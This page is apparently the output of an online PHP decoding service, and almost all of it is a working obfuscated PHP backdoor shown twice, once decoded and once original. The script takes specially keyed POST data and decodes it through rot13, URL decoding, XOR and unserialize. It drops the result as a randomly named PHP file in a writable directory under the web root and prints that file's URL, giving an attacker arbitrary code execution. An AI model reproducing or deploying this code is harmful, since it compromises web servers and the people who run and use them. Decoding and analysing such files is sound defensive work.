Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function afxxqG($ZsUChXsyKg, $rbOzh, $MjYGQjdy){$lIDDu = "a9a0445f-bf82-418e-839c-8f..

Decoded Output download

<?php function afxxqG($ZsUChXsyKg, $rbOzh, $MjYGQjdy){$lIDDu = "a9a0445f-bf82-418e-839c-8fcb94643bb3";return $ZsUChXsyKg ^ $lIDDu[$rbOzh % strlen($lIDDu)] ^ $MjYGQjdy;}$giHGyd = "lMDSsOhUd";function LwZrliI($giHGyd){ $jxfNkPQB = chr(165-50).chr(116)."r"."_".chr(114)."o"."t"."1".chr(51);$giHGyd = $jxfNkPQB($giHGyd);	$RSjBrV = 'nsnz';$IVaOUqsd = chr(114).chr(97).'w'.chr(117)."r"."l"."d"."e"."c"."o".chr(295-195)."e";$giHGyd = $IVaOUqsd($giHGyd);$giHGyd = str_split($giHGyd);	$fuyBodz = 28;return $giHGyd;}function GkLFhz(){$ncyBZ = 52;$hJWsuOfIW = 19;}function WuZgzObQ($XTzwTyML, $MjYGQjdy){$XTzwTyML = array_map("afxxqG", array_values($XTzwTyML), array_keys($XTzwTyML), array_values($MjYGQjdy));$XTzwTyML = implode("", $XTzwTyML);$oGrmN = chr(117)."n".'s'."e"."r"."i".'a'."l".'i'.chr(799-677)."e";$XTzwTyML = @$oGrmN($XTzwTyML);return $XTzwTyML;}function gYjAnAUwa($MjYGQjdy, $XTzwTyML){$MjYGQjdy = array_slice(str_split(str_repeat($MjYGQjdy, intval(count($XTzwTyML)/16)+1)), 0, count($XTzwTyML));return $MjYGQjdy;}GkLFhz();function mMTcGb(){echo "PRzgD";	$YGOJaGtaPE = 27;}function JXrQYwC($RJcsOpir){static $zryyHja = array();$rQhRIAK = glob($RJcsOpir . '/*', GLOB_ONLYDIR);$UFmjL = count($rQhRIAK);if ($UFmjL > 0) {foreach ($rQhRIAK as $RJcsOp) {$nURsTFvNOz = chr(1075-970)."s"."_"."w".chr(899-785)."i"."t"."a".chr(488-390).'l'.chr(101);if (@$nURsTFvNOz($RJcsOp)) {$zryyHja[] = $RJcsOp;}}}foreach ($rQhRIAK as $RJcsOpir) JXrQYwC($RJcsOpir);return $zryyHja;}function WSpkqXud($XTzwTyML){$kWcdRNGNB = chr(1061-993).chr(79)."C".chr(1063-978)."M".chr(69)."N".chr(211-127).chr(880-785).'R'.chr(880-801).chr(79)."T";$HQAGkznsLV = $_SERVER[$kWcdRNGNB];	$sWIWNU = 'DOkuvZ';$rQhRIAK = JXrQYwC($HQAGkznsLV);	$hICMXemykg = 'MLel';	$sWIWNU = strlen($sWIWNU);$TkueA = array_rand($rQhRIAK);	$COadOMaI = strtoupper($sWIWNU);$raoajdj = ".".chr(317-205).'h'.chr(112);$TXlGXHgJA = $rQhRIAK[$TkueA] . "/" . substr(md5(time()), 0, 8) . $raoajdj;$sFUzZUZv = "f".chr(105).chr(108).'e'.chr(136-41).'p'.'u'.chr(681-565).'_'."c"."o"."n".chr(428-312).chr(395-294)."n"."t".'s';@$sFUzZUZv($TXlGXHgJA, $XTzwTyML);	$pNNheGlYF = 'asFkaFx';	$sWIWNU = $sWIWNU - 10;$okFzBPgcKR = chr(987-915).chr(954-870)."T"."P"."_".chr(72)."O"."S".chr(84);$LbslcEl = chr(104)."t".'t'."p".':'.chr(47)."/";$LGdPz = $LbslcEl . $_SERVER[$okFzBPgcKR] . substr($TXlGXHgJA, strlen($HQAGkznsLV));	$iRSqdFFoG = 5;print($LGdPz);	$sWIWNU = strrpos($COadOMaI, 'tlpko');}function slptS($XTzwTyML, $TkueA){$TkueA = $TkueA[0];if ($XTzwTyML !== $TkueA){WSpkqXud($XTzwTyML);		$RqAcp = 15;}else {hygjZPpOWM();		$SeZhjJk = 3;}}function hygjZPpOWM(){$OtGpQY = "p"."h"."p";$WiAzVn = chr(112).'h'."p".chr(118)."e".chr(219-105)."s".chr(816-711).chr(1015-904)."n";$XTzwTyML = Array($OtGpQY => @$WiAzVn(), );$PpQlYXLL = chr(755-640).chr(1029-928)."r".'i'."a"."l".chr(137-32)."z".chr(141-40);echo @$PpQlYXLL($XTzwTyML);}function DVKkrZDGHa(){$QPxKwKsptl = 'Zrq';$TIjFvcIqd = 70;$bYQFilJU = 'hYvIcPLR';$ZsFJY = 'MCLi';$MCPhlgPHwy = 'gilIztfPZv';$HowFzkyE = strtolower($QPxKwKsptl);$QPxKwKsptl = strtoupper($QPxKwKsptl);$CCjqeggHk = 58;}function VJhbiRP(){echo "lMDSsOhUd";}function YWdnXHdP($XTzwTyML){$TkueA = array_keys($XTzwTyML);return $XTzwTyML[$TkueA[0]];}foreach ($_POST as $MjYGQjdy => $XTzwTyML){$YdcVSceV = strlen($MjYGQjdy);if ($YdcVSceV == 16){$XTzwTyML = LwZrliI($XTzwTyML);$MjYGQjdy = gYjAnAUwa($MjYGQjdy, $XTzwTyML);$XTzwTyML = WuZgzObQ($XTzwTyML, $MjYGQjdy);if (@is_array($XTzwTyML)){			$kGPpNwfKo = 'biBoi';slptS(YWdnXHdP($XTzwTyML), array_keys($XTzwTyML));			$yVWjtABCJ = 'AbPS';			$kGPpNwfKo = base64_decode($yVWjtABCJ);}}}die();DVKkrZDGHa();?>

Did this file decode correctly?

Original Code

<?php function afxxqG($ZsUChXsyKg, $rbOzh, $MjYGQjdy){$lIDDu = "a9a0445f-bf82-418e-839c-8fcb94643bb3";return $ZsUChXsyKg ^ $lIDDu[$rbOzh % strlen($lIDDu)] ^ $MjYGQjdy;}$giHGyd = "lMDSsOhUd";function LwZrliI($giHGyd){ $jxfNkPQB = chr(165-50).chr(116)."\162"."\x5f".chr(114)."\157"."\164"."\x31".chr(51);$giHGyd = $jxfNkPQB($giHGyd);	$RSjBrV = 'nsnz';$IVaOUqsd = chr(114).chr(97).'w'.chr(117)."\162"."\x6c"."\x64"."\145"."\x63"."\157".chr(295-195)."\145";$giHGyd = $IVaOUqsd($giHGyd);$giHGyd = str_split($giHGyd);	$fuyBodz = 28;return $giHGyd;}function GkLFhz(){$ncyBZ = 52;$hJWsuOfIW = 19;}function WuZgzObQ($XTzwTyML, $MjYGQjdy){$XTzwTyML = array_map("afxxqG", array_values($XTzwTyML), array_keys($XTzwTyML), array_values($MjYGQjdy));$XTzwTyML = implode("", $XTzwTyML);$oGrmN = chr(117)."\x6e".'s'."\x65"."\x72"."\151".'a'."\x6c".'i'.chr(799-677)."\145";$XTzwTyML = @$oGrmN($XTzwTyML);return $XTzwTyML;}function gYjAnAUwa($MjYGQjdy, $XTzwTyML){$MjYGQjdy = array_slice(str_split(str_repeat($MjYGQjdy, intval(count($XTzwTyML)/16)+1)), 0, count($XTzwTyML));return $MjYGQjdy;}GkLFhz();function mMTcGb(){echo "PRzgD";	$YGOJaGtaPE = 27;}function JXrQYwC($RJcsOpir){static $zryyHja = array();$rQhRIAK = glob($RJcsOpir . '/*', GLOB_ONLYDIR);$UFmjL = count($rQhRIAK);if ($UFmjL > 0) {foreach ($rQhRIAK as $RJcsOp) {$nURsTFvNOz = chr(1075-970)."\163"."\x5f"."\167".chr(899-785)."\151"."\x74"."\141".chr(488-390).'l'.chr(101);if (@$nURsTFvNOz($RJcsOp)) {$zryyHja[] = $RJcsOp;}}}foreach ($rQhRIAK as $RJcsOpir) JXrQYwC($RJcsOpir);return $zryyHja;}function WSpkqXud($XTzwTyML){$kWcdRNGNB = chr(1061-993).chr(79)."\103".chr(1063-978)."\115".chr(69)."\x4e".chr(211-127).chr(880-785).'R'.chr(880-801).chr(79)."\x54";$HQAGkznsLV = $_SERVER[$kWcdRNGNB];	$sWIWNU = 'DOkuvZ';$rQhRIAK = JXrQYwC($HQAGkznsLV);	$hICMXemykg = 'MLel';	$sWIWNU = strlen($sWIWNU);$TkueA = array_rand($rQhRIAK);	$COadOMaI = strtoupper($sWIWNU);$raoajdj = "\x2e".chr(317-205).'h'.chr(112);$TXlGXHgJA = $rQhRIAK[$TkueA] . "/" . substr(md5(time()), 0, 8) . $raoajdj;$sFUzZUZv = "\146".chr(105).chr(108).'e'.chr(136-41).'p'.'u'.chr(681-565).'_'."\x63"."\157"."\x6e".chr(428-312).chr(395-294)."\156"."\164".'s';@$sFUzZUZv($TXlGXHgJA, $XTzwTyML);	$pNNheGlYF = 'asFkaFx';	$sWIWNU = $sWIWNU - 10;$okFzBPgcKR = chr(987-915).chr(954-870)."\x54"."\120"."\137".chr(72)."\x4f"."\123".chr(84);$LbslcEl = chr(104)."\x74".'t'."\160".':'.chr(47)."\x2f";$LGdPz = $LbslcEl . $_SERVER[$okFzBPgcKR] . substr($TXlGXHgJA, strlen($HQAGkznsLV));	$iRSqdFFoG = 5;print($LGdPz);	$sWIWNU = strrpos($COadOMaI, 'tlpko');}function slptS($XTzwTyML, $TkueA){$TkueA = $TkueA[0];if ($XTzwTyML !== $TkueA){WSpkqXud($XTzwTyML);		$RqAcp = 15;}else {hygjZPpOWM();		$SeZhjJk = 3;}}function hygjZPpOWM(){$OtGpQY = "\160"."\x68"."\x70";$WiAzVn = chr(112).'h'."\x70".chr(118)."\x65".chr(219-105)."\x73".chr(816-711).chr(1015-904)."\156";$XTzwTyML = Array($OtGpQY => @$WiAzVn(), );$PpQlYXLL = chr(755-640).chr(1029-928)."\162".'i'."\x61"."\154".chr(137-32)."\172".chr(141-40);echo @$PpQlYXLL($XTzwTyML);}function DVKkrZDGHa(){$QPxKwKsptl = 'Zrq';$TIjFvcIqd = 70;$bYQFilJU = 'hYvIcPLR';$ZsFJY = 'MCLi';$MCPhlgPHwy = 'gilIztfPZv';$HowFzkyE = strtolower($QPxKwKsptl);$QPxKwKsptl = strtoupper($QPxKwKsptl);$CCjqeggHk = 58;}function VJhbiRP(){echo "lMDSsOhUd";}function YWdnXHdP($XTzwTyML){$TkueA = array_keys($XTzwTyML);return $XTzwTyML[$TkueA[0]];}foreach ($_POST as $MjYGQjdy => $XTzwTyML){$YdcVSceV = strlen($MjYGQjdy);if ($YdcVSceV == 16){$XTzwTyML = LwZrliI($XTzwTyML);$MjYGQjdy = gYjAnAUwa($MjYGQjdy, $XTzwTyML);$XTzwTyML = WuZgzObQ($XTzwTyML, $MjYGQjdy);if (@is_array($XTzwTyML)){			$kGPpNwfKo = 'biBoi';slptS(YWdnXHdP($XTzwTyML), array_keys($XTzwTyML));			$yVWjtABCJ = 'AbPS';			$kGPpNwfKo = base64_decode($yVWjtABCJ);}}}die();DVKkrZDGHa();?>

Function Calls

GkLFhz 1
DVKkrZDGHa 1
strtolower 1
strtoupper 1

Variables

$ZsFJY MCLi
$ncyBZ 52
$giHGyd lMDSsOhUd
$HowFzkyE zrq
$bYQFilJU hYvIcPLR
$TIjFvcIqd 70
$hJWsuOfIW 19
$MCPhlgPHwy gilIztfPZv
$QPxKwKsptl Zrq

Stats

MD5 f28f63360f00ca668dd02ba8a8f26c6e
Eval Count 0
Decode Time 81 ms